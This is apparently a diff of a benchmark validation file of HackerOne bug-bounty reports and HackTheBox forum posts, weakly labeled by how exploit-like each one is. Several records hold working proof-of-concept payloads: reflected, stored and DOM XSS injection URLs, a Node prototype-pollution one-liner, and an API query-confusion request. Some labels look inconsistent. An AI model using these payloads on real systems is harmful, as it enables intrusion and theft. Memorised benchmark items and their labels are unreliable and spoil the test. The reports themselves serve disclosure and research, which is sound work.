diff --git "a/benchmark/task4_hacker_exploit_labeling/val.jsonl" "b/benchmark/task4_hacker_exploit_labeling/val.jsonl"
--- "a/benchmark/task4_hacker_exploit_labeling/val.jsonl"
+++ "b/benchmark/task4_hacker_exploit_labeling/val.jsonl"
@@ -1,1933 +1,1933 @@
-{"id": "9beec8bf1da61cf6e415", "text": "[Cross-site Scripting (XSS) - Stored] Stored Cross Site Scripting at http://www.grouplogic.com/ADMIN/store/index.cfm?fa=disprocode\n\n## Summary\nThe application exposes store ADMIN page at below URL and is accessible without authentication. \n```\nhttp://www.grouplogic.com/ADMIN/store/index.cfm\n```\nThe ADMIN page provides several functionalities. Among them the below functionality is found to be vulnerable to stored XSS.\n- View and Edit Promo Code (http://www.grouplogic.com/ADMIN/store/index.cfm?fa=disprocode)\n\n\n## Steps To Reproduce\n1. Navigate to below URL to access the store admin page without authentication.\n```\nhttp://www.grouplogic.com/ADMIN/store/index.cfm\n```\n2. Navigate to promo codes section. (http://www.grouplogic.com/ADMIN/store/index.cfm?fa=disprocode)\n3. Edit any promo code.\n4. Add any of below payload in the Promo Code field.\n```\nPayload 1:\n----------\n
XSS
\n\nPayload 2:\n----------\n\n```\n5. Click the Edit Promo Code Button to save modified the promo code.\n6. Navigating again to the promo code page, in case of payload 1, XSS string is rendered, hovering mouse over it triggers xss. In case of payload 2, as soon as the promo code page is opened, xss triggers.\n\n## Recommendations\nIt is highly recommended to implement output encoding. \nEncode the following characters with HTML entity encoding to prevent switching into any execution context, such as script, style, or event handlers. Using hex entities is recommended in the spec. The 5 characters significant in XML``` (&, <, >, \", ')```:\n\n```\n & --> &\n < --> <\n > --> >\n \" --> "\n ' --> '\n```\nReference: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html\n\n## Impact\n\nXSS can be used to :\n- Steal cookies, password\n- Website Defacement\n- Redirect Victim to Malicious site \n- Log keystrokes etc.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a465d9c454b279b4889c", "text": "[Cross-site Scripting (XSS) - Stored] RichText parser vulnerability in scheduled posts allows XSS\n\n## Summary:\nRichText parser is not filtering links when editing scheduled posts\n\n## Steps To Reproduce:\n\n 1. Create a new scheduled post with a link: {F2270188}\n 2. Intercept the request with Burp Suite/Other proxies and replace the link with javascript scheme payload: {{F2270195}\n 3. Navigate to scheduled posts and click Edit: {F2270203}\n 4. Observe the malicious link, if you click on it, the javascript will execute: {F2270204}\n\n## Root cause and possible ways leverage\nWhen submitting a scheduled post, API doesn't validate links, it happens only on the client side and the links can be forged with interception of requests. Though, it seems it is impossible to get the XSS in live post, when submitting the malicious post, reddit turns richtext to markdown and then to html, which automatically removes invalid links. Another possible way to bring it in real post, is to use Link type and also forge the link, but when submitting it will just give an error\n\n## Impact\n\nAttacker can trick admins to visit the scheduled editing page and click on malicious link, which results in XSS", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-04-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2b33415f5eb80e1809e4", "text": "[Cross-site Scripting (XSS) - Reflected] XSS Reflected - ███\n\nHi Team,\n\nI found a XSS Reflected.\n\n```\nhttps://██████/Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000%22onload=%22prompt(1)\n```\n\nThans DRauschkolb\n\n## Impact\n\nXSS vulnerabilities can be used to trick a web user into executing a malicious script, potentially revealing a user's web session information or modify web content & even steal cookies.\n\n## System Host(s)\n███\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nhttps://█████/Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000%22onload=%22prompt(1)\n\n## Suggested Mitigation/Remediation Actions", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c309b4227baaa027fb5d", "text": "[Information Disclosure] [███████] Information disclosure due unauthenticated access to APIs and system browser functions\n\n**Description:**\nMultiple information exposure vulnerabilites were identified in a Jira Server instance (unauthenticated access to APIs and system browser functions). This report describes a combination of two separate vulnerabilities in two separate services This chain of vulnerabilities allows unauthenticated attacker to run arbitrary code on a server inside the company's internal network. the vulnerable registered as references JRASERVER-73060\n\n\n## References\nhttps://jira.atlassian.com/browse/JRASERVER-73060\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-14179\n\n## Impact\n\nUnauthorised access and the data should not be visible.\nProject categories, resolutions, and usernames are listed even if the API is not authenticated\n\n## System Host(s)\n██████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2020-14179\n\n## Steps to Reproduce\n1. Navigate visit the target scope is https://█████████/secure/JiraCreditsPage!default.jspa\n 1. And now we found a directory is jira sensitive\n 1. Lets send a curl request to the `?maxResults=1000` endpoint, as shown below. In the request, point the post request to the server address you want to send the request to:\n\nHere's the HTTP Parameter request that the issue:\n```\nGET /rest/menu/latest/admin HTTP/1.1\nHost: ███\nConnection: keep-alive\nPragma: no-cache\nCache-Control: no-cache\nsec-ch-ua-platform: \"Mac OS\"\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\n```\n * https://██████/secure/JiraCreditsPage!default.jspa\n * https://███████/rest/menu/latest/admin?maxResults=1000\n\n## Suggested Mitigation/Remediation Actions\n## Workaround\nAnonymous access to endpoints listed below is restricted starting Jira 9.0. On future Jira 8.x releases and all LTS releases it is possible to restrict anonymous access with feature flags. On Jira 8.x to restrict anonymous access to the endpoint you need to disable feature flag aka provide ``.disabled On Jira 9.0 you need to enable the same feature flag aka provide ``.enabled\n\n\n**You can use given feature flags: **\n`/rest/api/2/projectCategory` - (Anonymous access disabled completely) \n`/rest/api/2/resolution` - (Anonymous access blocked only when there is no projects available for anonymous users) \n`/rest/menu/latest/admin` - There is currently no feature flag to disable anonymous access, please check linked ticket in \"duplicates by\" to track this problem.\n\n**Refferences**\nhttps://hackerone.com/reports/994612 \n[JRASERVER-73060](https://jira.atlassian.com/browse/JRASERVER-73060)", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2020-14179"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "31f836cb89ea1d7b3a6e", "text": "[Unknown] OTP reflecting in response sensitive data exposure leads to account take over\n\n## Summary:\nSensitive data that is otp is reflecting in the response of phone number otp verification in https://app.upchieve.org \n\n## Steps To Reproduce:\n\n\n 1. Signin with a account\n 2.After signin it will ask for phone number for otp verification.\n3.Capture the request using burpsuite and see the response \n4.Now otp is exposing in the response.\n5.Account take over is happening.\n\n## Impact\n\nAny attacker can login into user account with his/her otp verification which is a high impact of this website.sensitive data is exposing here", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-26", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4cde88042c5490fb4c2c", "text": "It probably will take forever if you’re using the /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt . Consider using wordlists that are using common names. If the wordlist is sorted alphabetically, the hit will be near the bottom…not a big fan of how long to wait on some of these assessments.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-01-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "87bd2662abb7d7dd7d18", "text": "[Modification of Assumed-Immutable Data (MAID)] Prototype pollution via console.table properties\n\n**Summary:**\n\nAttacker control of the second `properties` parameter of `console.table` may lead to prototype pollution.\n\n**Description:**\n\nDue to the formatting logic of the `console.table` function it is not safe to allow user controlled input to be passed to the `properties` parameter while simultaneously passing a plain object with at least one property as the first parameter.\n\nThe prototype pollution has very limited control, in that it only allows an empty string to be assigned numerical keys of the object prototype.\n\n## Steps To Reproduce:\n\nThe vulnerability can be reproduced in the Node.js REPL, tested with version `v16.7.0`:\n\n 1. Run the following: `console.table({foo: 'bar'}, ['__proto__'])`\n 2. Verify that the object prototype has been polluted: `Object.prototype[0] === ''`\n\nThe pollution will vary depending on the number of properties on the object passed as the first parameter, with each additional property assigning another incrementing index of the object prototype. This means that if the first parameter is also controlled by the attacker, it is possible to assign empty strings from `0..n` to the object prototype, for any `n`:\n\n```\n> console.table({a: 1, b: 1, c: 1}, ['__proto__'])\nUncaught TypeError: Cannot create property '0' on string ''\n\n> Object.prototype\n[Object: null prototype] { '0': '', '1': '', '2': '' }\n```\n\nThe vulnerable assignment can be found [here](https://github.com/nodejs/node/blob/3f7dabdfdc9e2a3cd3f92e377755c0dd43f6751b/lib/internal/console/constructor.js#L576) in the Node.js `console.table` implementation.\n\nA suggested remediation is to ignore `properties` named `'__proto__'`, or to use a different data structure to store the computed table fields. For example:\n\n```diff\n const keys = properties || ObjectKeys(item);\n for (const key of keys) {\n+ if (key === '__proto__') {\n+ continue\n+ }\n if (map[key] === undefined)\n map[key] = [];\n```\n\n## Impact:\n\nUsers of `console.table` have no reason to expect the danger of passing on user input to the second `properties` array, and may therefore do so without sanitation. In the even that for example a web server is exposed to this vulnerability, it is likely to be a very effective denial of service attack. In extremely rare cases the prototype pollution can lead to more severe attack vectors such as bypassing authorization mechanisms, although due to limited control of the pollution this is unlikely.\n\n## Supporting Material/References:\n\n * [CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')](https://cwe.mitre.org/data/definitions/1321.html)\n * [The vulnerable assignment](https://github.com/nodejs/node/blob/3f7dabdfdc9e2a3cd3f92e377755c0dd43f6751b/lib/internal/console/constructor.js#L576)\n\n## Impact\n\nUsers of `console.table` have no reason to expect the danger of passing on user input to the second `properties` array, and may therefore do so without sanitation. In the even that for example a web server is exposed to this vulnerability, it is likely to be a very effective denial of service attack. In extremely rare cases the prototype pollution can lead to more severe attack vectors such as bypassing authorization mechanisms, although due to limited control of the pollution this is unlikely.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-11", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "cf779b869d7149d0da5e", "text": "[Information Disclosure] Users querying dim_hacker_reports table through Analytics API can determine data from dim_reports table using WHERE or HAVING query\n\nThe query builder for the Analytics API is vulnerable to a confusion attack. The `dim_reports` and `dim_hacker_reports` tables both pull their data from the `Analytics::DimReport` model. When applying a `WHERE` clause or `HAVING` clause with a `FILTER` in the HackerOne Analytics Query Language (HAQL), an attacker can create references to columns outside of the HAQL table schema. Assume that there is a table looking as following:\n\n| report_id | is_triage_sla_missed |\n| --- | --- |\n| 27 | false |\n\nAnd the following two schema definitions:\n\n```ruby\n'dim_reports': {\n 'model': 'Analytics::DimReport',\n 'columns': {\n 'report_id': TYPE_NUMBER,\n 'is_triage_sla_missed': TYPE_BOOLEAN,\n }\n}\n```\n\n```\n'dim_hacker_reports': {\n 'model': 'Analytics::DimReport',\n 'columns': {\n 'report_id': TYPE_NUMBER,\n }\n}\n```\n\nThe `is_triage_sla_missed` column can only be queried through the `dim_reports` table, which reporters of a report do not have access to. However, when querying the `report_id` from either table, it results in the following SQL to being executed:\n\n```sql\nSELECT \n \"analytics\".\"dim_reports\".\"report_id\" AS dim_hacker_reports__report_id \nFROM \n \"analytics\".\"dim_reports\" \nWHERE \n (\n \"analytics\".\"dim_reports\".\"reporter_id\" = ?\n AND \"analytics\".\"dim_reports\".\"reporter_id\" IS NOT NULL\n ) \nLIMIT \n 1000 OFFSET 0\n```\n\nAs can be seen, there is no alias assigned to the `dim_reports` table. This can be used to confuse the query builder by using a reference to the `dim_reports` table, even though that table wasn't queried from. As an example:\n\n```\nquery {\n analytics(queries: [\n {\n select: [\n {\n field: dim_hacker_reports__report_id\n }\n ]\n from: dim_hacker_reports\n where: {\n predicates: [\n {\n left: {\n ref: dim_reports__is_triage_sla_missed\n }\n function: eq\n right: {\n boolean: false\n }\n }\n ]\n }\n }\n ]) {\n keys\n values\n }\n}\n```\n\nThe `dim_reports__is_triage_sla_missed` reference should fail to be used, because `dim_reports` isn't being selected from or joined into the query. However, it misses this check, allowing the column to be referenced even though it isn't present in the `dim_hacker_reports` schema. Based on whether the query returns the row, the value of the column can be obtained:\n\n**Data in column was guessed correctly**\n{F2107683}\n\n**Data in column does not match expectation**\n{F2107684}\n\n## Impact\n\nEven though there isn't any sensitive data that can be queried through the `dim_reports` table schema today, this may cause unauthorized access to sensitive data in the future.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bc508ef2ce1fbc21b4a8", "text": "[HTTP Request Smuggling] CVE-2022-32215 - HTTP Request Smuggling Due to Incorrect Parsing of Multi-line Transfer-Encoding\n\nOriginal Report: https://hackerone.com/reports/1501679\n\n## Impact\n\nDepending on the specific web application, HRS can lead to cache poisoning, bypassing of security layers, stealing of credentials and so on.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-32215"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "89188dfe7452394d027f", "text": "[Time-of-check Time-of-use (TOCTOU) Race Condition] Promotion code can be used more than redemption limit.\n\n## Summary:\nWhile creating a promotion code a user can specify number of times that code can be redeemed.(i.e. Redemption limit)\n{F1962666}\nCodes aren't supposed to be redeemed more than the redemption limit.\nBut there exists a race condition that allows use of promotion codes more than redemption limit.\n{F1962665}\n\n## Steps To Reproduce:\n[In these steps i have used just a browser to show how easy this is to exploit and even a person with very limited knowledge on technology can exploit this. This can certainly be scaled using burp and other software .]\n\n1. As a merchant create a promotion code with Redemption limit 1.\n{F1962664}\n2. As a user, Visit any two payment links of same merchant with the coupon.\n3. In both payment links, Fill the form and apply coupon but don't hit Pay/ Subscribe.\n4.Hit both link's pay/subscribe button as fast as you can.\n5. Both payment will be successful using one coupon two times.\n\n## Supporting Material/References:\nI have added a video poc.\nIn this poc, I have used a promotion code with redemption limit 2.\nI have also used laptops screentouch feature to click both link's pay/subscribe button as fast as I could.\n{F1962525}\n\n## Impact\n\nPromotion code can be used more than redemption limit.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "85ed722c3a2872c88c2a", "text": "[Improper Access Control - Generic] Hide download previews are accessible without a watermark\n\nInitial report from https://github.com/nextcloud/richdocuments/issues/2561\n\n**Describe the bug**\nThe secure watermarked view announced for Nextcloud 25 / Hub 3 can be hacked. See reproduction steps below.\n\n**To Reproduce**\n\n1. Go to Nextcloud Office Admin Settings and set the watermark options to have a custom watermark in read-only shares, without a download button.\n2. For example, create a read-only public share link without a download button.\n3. Go to the created public URL and see that there is as expected a watermark on the read-only document and no download button. For now, everything is OK.\n4. Then notice that there is the close document cross at the top right. IMO, this cross should not exist because when you click on it, the document reappears behind, without the watermark. Even though the document appears smaller, I think this is risky and goes against the privacy purpose of this feature shown in Berlin.\n\n**Expected behavior**\nThe close button should not appear at the top right in order to keep the recipient of the share captive in this view of the document. I go further in my explanation by saying that if the share is a single file share and not a folder share, the close button should never appear, because the share recipient is not supposed to access an upstream folder, but just be able to view the file (and edit it if he has write permission), nothing else.\n\n**Screenshots**\nHere is the closing button : \n\nHere is what we get after clicking on it : \n\n\n## Impact\n\nWhile the download should be hidden and the watermark should get applied the preview is still visible without", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "55af3f24e50e437b4f44", "text": "[Business Logic Errors] CVE-2023-23914: HSTS ignored on multiple requests\n\ncurl's HSTS functionality fail when multiple URLs are requested serially.\n\nUsing its HSTS support, curl can be instructed to use HTTPS instead of using an insecure clear-text HTTP step even when HTTP is provided in the URL. This HSTS mechanism would however suprisingly be ignored by subsequent transfers when done on the same command line because the state would not be properly carried on.\n\n## Impact\n\nBypass intended security control.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-23914"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9a428803c2bead3f393f", "text": "[Information Disclosure] Secrets can be unmasked in the \"Rendered Template\"\n\n## Affected versions\nApache Airflow before 2.7.1\n\n## How to reproduce\n\nGo to the `Rendered Template` page and in address line replace encoded symbols of `execution_date` parameter with decoded symbols. Page is still shown, but with credentials unmasked.\n\nSibling pages in contrast have different behavior: `K8s Pod Specs` shows oops page and ` Log` shows empty log when`execution_date` parameter is malformed\n\n## Example\n```\nnot masked - http://airflow.dev.local/rendered-templates?dag_id=tutorial_taskflow_api&task_id=extract&execution_date=2023-08-17T16%3A15%3A08.189107+00%3A00\nmasked - http://airflow.dev.local/rendered-templates?dag_id=tutorial_taskflow_api&task_id=extract&execution_date=2023-08-17T16%3A15%3A08.189107%2B00%3A00\n```\n\n{F2774937}\n{F2774939}\n\nExample dag code:\n```python\nimport json\n\nimport pendulum\n\nfrom airflow.decorators import dag, task\nfrom airflow.models import Variable\n@dag(\n schedule=None,\n start_date=pendulum.datetime(2023, 8, 17, tz=\"UTC\"),\n catchup=False,\n tags=[\"example\"],\n)\ndef tutorial_taskflow_api():\n\n @task()\n def extract(pwd):\n return pwd\n\n\n order_data = extract(pwd = Variable.get('secret_var'))\n print(order_data)\n\n\ntutorial_taskflow_api()\n```\n\nIn airflow UI variable with name `secret_var` should be added before trying\n\n## Impact\n\nAny user who can see a dag can get access to secret credentials used by this dag", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5c5235e2baaa2fd56663", "text": "AES256-CTR Attack for CTF Challenge\n\nHello, I have a CTF challenge at my university and unfortunately I don’t know what to do next. Here are all the clues: I can enter my student ID and get a cipher text back. Flags have the format {f=XXX}, where XXX consists of 12 pseudo-random characters from the alphabet “0123456789abcdef”. Here is the code that calculates the cipher text: import os from Crypto.Cipher import AES def encrypt(msg): nonce = os.urandom(8) key = os.urandom(32) c = b'' for i in range((len(msg)//16)+1): aes = AES.new(key,AES.MODE_CTR, nonce = nonce) c +=aes.encrypt(msg[16*i:16*(i+1)]) return c plaintext = '''GET / HTTP/1.1\\r\\nHost: ctf.itsc.uni-xxx.de\\r\\nUser-Agent: Mozilla\\5.9 (X11; Ubuntu: Linux x86_64; rv:62.0) Gecko/20100101 Firefox/ 62.0\\r\\nAccept: text/html,application/xhtml+xml,application/xml;qU0.9,*/*;q=0.8\\r\\nAccept-Language: en-US,en;q=0.5\\r\\nAccept-Encoding: gzip, deflate, br\\r\\nConnection: keep-alive\\r\\nCookie: {{f={}}}'''.format(flag) ciphertext = encrypt(plaintext.encode()).hex() The encryption code was implemented in Python3 and the PyCryptoDome library. There is another note that you should pay particular attention to how the counter mode was implemented. Example for student ID 1950243 is the cipher text: cb581035f90f6091ba1e9857a25f081bc4723761ec0f4bb18860de12ff0d2b64e2746962a35f58a09c3ad60aa20a601c86483770a40269a28b20c35cac236a6be5712874f91a06f5ce66ef57bd552544ee682a61a31408898720c21eac163d27d32b702ef65d5effd87c9956a54e4274ef762b3ae41f19f5de7f8757ac286c63e97b2b6df9191aebde43bd27ef0d6061f8276461b3575cea863ada0aa00f7561e0742774a24647abc136df12e1022e69e1716874a65f44ac8d2fc30fe3002a69e1717f64eb1f06fcc264984cb71f3821a225491f974c4ba09e3a9a2aed006264ed7a212ff64a46e8bb1d9b03e255742cbc337118dc6e4ba68b3ec34bc900667ee8742a72ec0f4fbf873e9b46e80b637ded692139f64d5ac8e40dd808e20b6665e5722a2ff6444da09e63d60ae518601c865e2b7abd464dffce35d15bbf0c3025e8297624e11b19f393 I tried reversing the calculation but without the key I couldn’t find myself in much progress. I also tried analyzing the cipher texts and while I was able to find similarities, I can’t seem to find anything else. I am not particularly looking for the complete solution, rather some clues as to what I might be missing. I would be happy if anyone could point the way", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-11-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f4d74691e839e00128a5", "text": "[Misconfiguration] The `stripe/veneur` GitHub repository links to a domain `veneur.org`, which is not under stripe's control\n\nInitially reported at https://github.com/stripe/veneur/issues/1058. Since that report, the repository's sidebar has been updated to no longer link to the uncontrolled domain. Many of the 179 forks of this repository still contain the link to the uncontrolled domain.\n\n## Summary:\n- The github.com/stripe/veneur repository contains security-sensitive code which is designed to run within a company's private network, often as a sidecar on each of their application servers.\n- The repository's README and documentation does not contain instructions for installing veneur. Instead, it linked to an external domain, `https://veneur.org`, which contained those instructions.\n- The `https://veneur.org` domain appears to be no longer under Stripe's control.\n- If the website is not under Stripe's control, it is an easily exploitable vector for a phishing or supply chain contamination attack. The targets of this attack would be user's of the open source release of veneur (not specifically Stripe), and Stripe customers.\n- Example attack:\n - step one: control `https://veneur.org`, either because you are the current owner or you purchase the domain.\n - step two: recreate the old site, but edit the installation instructions to reference malicious source code or a docker image built with malicious code.\n - step three: a veneur user follows the instructions\n - outcome: attacker-controlled code/image running inside a privileged environment.\n- Example attack two:\n - step one: control `https://veneur.org`, either because you are the current owner or you purchase the domain.\n - step two: replace the contents of the website with a fake Stripe login screen.\n - step three: a veneur user, who is likely to also be a Stripe user, enters their username and password into the fake login screen.\n - outcome: attacker gains access to privileged credentials. Because the `https://veneur.org` website is linked to by an official, Stripe-controlled repository, there is a much greater likelihood that the attack will succeedd than if it had to operate on a different domain.\n\n## Steps To Reproduce:\n1. Visit https://github.com/stripe/veneur\n2. Click on the `https://veneur.org` link in the sidebar.\n\nSince I initially reported this issue in the Github repository, at https://github.com/stripe/veneur/issues/1058 , the sidebar has been edited to no longer link to `https://veneur.org`. Many of the 179 forks of this repository still contain the link to the uncontrolled domain.\n\n## Supporting Material/References:\n\nInitial report with images:\n- https://github.com/stripe/veneur/issues/1058\n\nThe link in the sidebar:\n- https://user-images.githubusercontent.com/824173/242777008-1e2b02af-be8c-484c-b131-842d570bdb89.png\n\nThe contents of the website currently:\n- https://user-images.githubusercontent.com/824173/242777079-12830e1c-7928-460c-81b0-26523062f510.png\n\n## Impact\n\nAn attacker can easily impersonate Stripe, taking advantage of the fact that this website is linked to by an official Stripe-owned web page. They can use this as the beginning of a phishing or a supply-chain contamination attack targeting Stripe's customers.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "60ede1e04e882b788f0b", "text": "[Cleartext Storage of Sensitive Information] Sensitive Information Disclosure Through Config File\n\n## Summary:\nAn attacker could gain access to sensitive information about usernames, encrypted passwords, internal IP addresses and configuration data of internal services.\n\n## Steps To Reproduce:\n- Go to https://zik.mtncameroon.net/common/queryconfig.action\n\n## Remediation\nConfigure the application to not reveal sensitive information to client.\n\n## References\nhttps://cwe.mitre.org/data/definitions/200.html\n\n## Impact\n\nA malicious user is able to gain sensitive information usernames, encrypted passwords, internal IP addresses and configuration data of internal services.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d39b78db8500498a2d4f", "text": "[Cross-site Scripting (XSS) - DOM] DOM XSS through ads\n\nMultiple ads hosted on www.urbandictionary.com make the www.urbandictionary.com origin vulnerable to DOM XSS. Attached is an image of `alert(document.domain)` executing. The injection works in Firefox and Chrome.\n\nVisiting the following URL will **probably** cause an alert box displaying the document.domain as www.urbandictionary.com.\n`https://www.urbandictionary.com/define.php?term=#asdf'-alert(document.domain)-'asdf`\n\nI say \"probably\" because the exploit depends on the loading of certain ads. Doing this from a fresh browser session usually causes the alert box. If not refreshing the page a few times, allowing the page to fully load, usually causes the pop-up. It all depends on which ad loads.\n\nIt appears the `pwt.js` JavaScript file uses the `displayCreative` function to display a unique ad. This apparently is done by executing `document.write` in an anonymous function to write the ad into the the www.urbandictionary.com page. Visiting the above link will cause one of the ads to execute `document.domain` with a string that contains the following:\n\n```\n\n```\n\n 2. Fill in your nickname in the Author form of the search function and wait for the search, it will automatically trigger a pop-up.\n\n{F1262581}\n\n## Recommendations\n\nAdd special character filtering to the nickname modification function of the forum.\n\n## Impact\n\nYou can add any keywords that users may use when searching for authors to your nickname to attack the corresponding users. It is possible to execute any Javascript.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "106ff62251227573b663", "text": "Hello there, Can you please give me a hint ? i tried: I am getting the message “Malicious request denied” but i cant find anywhere in the code the response for the “ls” or “whoami” command in order to continue further. Am i missing something ?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-08-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3bd41b470ee94567235b", "text": "[Unknown] [Java]: CWE-552 Add sources and sinks to detect unsafe getResource calls in Java EE applications\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c8ada0951b6e91c73073", "text": "[Unknown] Twitter Account hijack @nextcloudfrance\n\nBroken Link Hijacking (BLH) is a web-based attack where it exploits external links that are no longer valid. The attackers take over this expired, stale, and invalid external links on credible websites or web applications for malicious or fraudulent purposes.\n\nLink Hijacking attacks occur because the website/ web application continues to contain links to expired/ stale resources/pages (loaded using external URLs).\n\nSteps :\n\n1. Go to https://nextcloud.com/fr/\n\n2. Go to last and click on Twitter icon.\n\n3. It redirects you to the\n https://twitter.com/nextcloudfrance\n\n4. It gives 404 at first and i takeover the username for Testing Purpose .\n\n5. If you go to https://nextcloud.com/fr/ and click on Twitter Icon , now it redirect you to Attacker ( My ) Profile .\n\nThe best way to prevent Broken Link Hijacking attacks is to proactively identify such stale/ dead links and remove them from the website regularly. \n\nRef :\nhttps://hackerone.com/reports/1031321\nhttps://hackerone.com/reports/1607429\n\n## Impact\n\nSince the link can be hijacked so any attacker can claim the link and make fake twitter profile of Nextcloud and can do scam with them.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "112cffd34f498ccf3e0e", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS on https://███/████via hidden parameter \"█████████\"\n\nHi everyone :)\n\nI found a Reflected XSS on https://█████/█████████via hidden parameter \"██████████\".\n\n\n## Steps To Reproduce:\n\n- Use your favorite web browser\n- Go to : \n```\nhttps://█████/████████&██████=XXX%22%3E%3Cscript%3Ealert(%27Reflected%20XSS%20here%27)%3C/script%3E\n```\n\nAn XSS is triggered !\n\nThe initial page was https://██████/guest/tls_sso.php\n\nWith a little research, you can find a hidden parameter \"███\" which is directly reflected in the source code **without sanitize user entries**. Then just close the tag and inject our malicious code.\n\n## Supporting Material/References:\nWork on every browser (Firefox, Chrome ..)\n\n## Suggested Mitigation/Remediation Actions\n\n- Never trust user inputs, and therefore sanitize them.\n- If the parameter \"█████\" is useless in this page and in the authentication process, then it should be deleted.\n\n## Impact\n\nThe damages of a reflected XSS flaw are numerous: executing malicious javascript code, phishing, defacing ... We can also inject HTML code and mislead the user when displaying the web page.\n\nFrom [OWASP](https://owasp.org/www-community/attacks/xss/) :\n\n>Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
